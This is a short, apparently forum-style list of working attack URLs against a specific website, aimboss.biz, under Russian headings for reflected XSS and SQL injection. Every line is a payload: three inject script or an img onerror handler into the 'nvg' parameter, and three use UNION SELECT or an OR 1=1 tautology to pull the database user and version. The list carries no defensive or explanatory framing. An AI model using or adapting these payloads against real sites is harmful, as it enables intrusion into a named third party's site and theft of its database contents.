Пассивная XSS
http://aimboss.biz/?nvg=/user:<script>alert()</script>
http://aimboss.biz/?nvg=s-jsip:pinfo:</title></head><body><img src=.+onerror=alert()><!--
http://aimboss.biz/?nvg=t:message:"><script>alert()</script><!--
SQL-INJ
http://aimboss.biz/?nvg=/user::-1+union+select+concat_ws(0x3a,user(),version()),2, 3+--+
http://aimboss.biz/?nvg=weblog:pages:1,1,4,-1'+OR+1=1+--+
http://aimboss.biz/?nvg=s-jsip:pinfo:-1'+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(), version()),8+--+